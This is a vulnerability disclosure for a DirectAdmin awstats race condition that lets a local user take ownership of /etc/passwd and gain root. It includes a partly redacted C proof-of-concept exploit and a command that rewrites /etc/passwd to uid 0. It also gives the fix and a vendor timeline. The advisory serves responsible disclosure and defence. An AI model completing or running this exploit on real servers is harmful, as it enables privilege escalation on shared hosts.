Vulnerability
Note: Some details were removed to prevent simple recreation of exploit.
Affected software: DirectAdmin versions below 1.51
DirectAdmin performs unsafe operations as root on user awstats directories and can be tricked to perform chown
to user on any file in a system.
awstats_process.sh
is executing many commands as root in /home/USER/domains/DOMAIN/awstats
directory which are prone to race condition. One of those commands is chown ${USER}:${USER} ${STATS_DIR}/awstats.pl
. You can remove awstats.pl
from awstats
directory and ▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒ ▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒ ▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒ ▒▒▒▒▒▒ ▒▒▒▒▒ ▒▒▒▒▒▒▒ and /etc/passwd
will be owned by user. Now You can just change user uid to 0 and relog to gain root.
Exploit
/*
* DirectAdmin 1.501 awstats local root exploit.
*
* Might be unreliable under light server load. Just use more domains at the same time.
*
* You might need to adjust CALL_TARGET. You can get this number by removing awstats.pl in user's
* awstats directory and then counting open() calls during tally:
* inotifywait -e OPEN -m /home/USER/domains/DOMAIN/awstats | grep awstats.pl
*
* Usage (assuming user is already after first tally, with awstats dir created):
* cd /home/USER/domains/DOMAIN
* rm awstats/awstats.pl
▒ ▒▒ ▒▒ ▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒ ▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒ ▒▒▒ ▒▒▒▒▒ ▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒ ▒ ▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒ ▒▒▒▒▒ ▒▒▒ ▒▒▒▒ ▒▒▒ ▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒
* ./da_awstats_poc DOMAIN
* # Edit uid in /etc/passwd:
* dd if=/etc/passwd bs=1M | sed 's@^USER:.*@USER:x:0:0::/home/USER:/bin/bash@' | tee /etc/passwd
* # Relog to gain root.
▒
▒ ▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒
*/
#define INOTIFY_MASK IN_OPEN
#define CALL_TARGET 8
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <sys/inotify.h>
#include <linux/limits.h>
void fail_func(const char *func)
{
perror(func);
exit(EXIT_FAILURE);
}
void fail(const char *str)
{
printf("%s\n", str);
exit(EXIT_FAILURE);
}
int main(int argc, char *argv[], char *envp[])
{
struct passwd *pw;
char awstat_path[PATH_MAX];
char awstat_path_backup[PATH_MAX];
char awstat_path_hacked[PATH_MAX];
int ret, inotify, watch, call_nr;
if(argc != 2)
{
printf("Usage: da <domain>\n");
exit(EXIT_FAILURE);
}
// Get user home.
pw = getpwuid(getuid());
if(pw == NULL)
{
fail_func("getpwuid");
}
// Define paths.
ret = snprintf(awstat_path, PATH_MAX - 1, "%s/domains/%s/awstats", pw->pw_dir, argv[1]);
if(ret < 0)
{
fail_func("snprintf");
} else if(ret >= PATH_MAX - 1) {
awstat_path[PATH_MAX-1] = '\0';
fail("Path too long.");
}
ret = snprintf(awstat_path_backup, PATH_MAX - 1, "%s/domains/%s/awstats.bak", pw->pw_dir, argv[1]);
if(ret < 0)
{
fail_func("snprintf");
} else if(ret >= PATH_MAX - 1) {
awstat_path_backup[PATH_MAX-1] = '\0';
fail("Path too long.");
}
ret = snprintf(awstat_path_hacked, PATH_MAX - 1, "%s/domains/%s/awstats.hacked", pw->pw_dir, argv[1]);
if(ret < 0)
{
fail_func("snprintf");
} else if(ret >= PATH_MAX - 1) {
awstat_path_hacked[PATH_MAX-1] = '\0';
fail("Path too long.");
}
// Initialize inotify.
inotify = inotify_init();
if(inotify < 0)
{
fail_func("inotify_init");
}
// Setup inotify watch for awstat_path.
watch = inotify_add_watch(inotify, awstat_path, INOTIFY_MASK);
if(watch < 0)
{
fail_func("inotify_add_watch");
}
call_nr = 0;
while(call_nr < CALL_TARGET)
{
char buf[4096] __attribute__ ((aligned(__alignof__(struct inotify_event))));
const struct inotify_event *event;
ssize_t len;
char *ptr;
// Read events.
len = read(inotify, buf, sizeof(buf));
if(len <= 0)
{
fail_func("read");
}
// Process read events.
for(ptr = buf; ptr < buf + len; ptr += sizeof(struct inotify_event) + event->len)
{
event = (const struct inotify_event *) ptr;
if(event->wd != watch || !(event->mask & INOTIFY_MASK))
{
fail("Incorrect event received - it should not happen.");
}
// Check if event applies to awstats.pl.
if(event->len <= 0)
{
continue;
}
if(strncmp("awstats.pl", event->name, sizeof("awstats.pl")) != 0)
{
continue;
}
▒▒ ▒▒▒▒▒ ▒▒ ▒▒ ▒▒ ▒▒▒▒ ▒▒▒▒ ▒▒ ▒ ▒▒▒ ▒▒▒▒ ▒▒ ▒▒▒ ▒▒▒▒▒▒▒ ▒▒▒▒
▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒
▒
▒▒▒▒▒▒▒▒▒
▒
▒▒ ▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒ ▒▒
▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒ ▒ ▒▒
▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒
break;
}
}
return 0;
}
Solution
Update DirectAdmin to version 1.51 or later.
Timeline
- 2017-01-23 - Vulnerability reported to vendor.
- 2017-01-24 - Response from vendor.
- 2017-01-26 - Initial fix in pre-release binaries.
- 2017-02-04 - Final fix in pre-release binaries.
- 2017-02-09 - DirectAdmin 1.51 released with vulnerability fixed.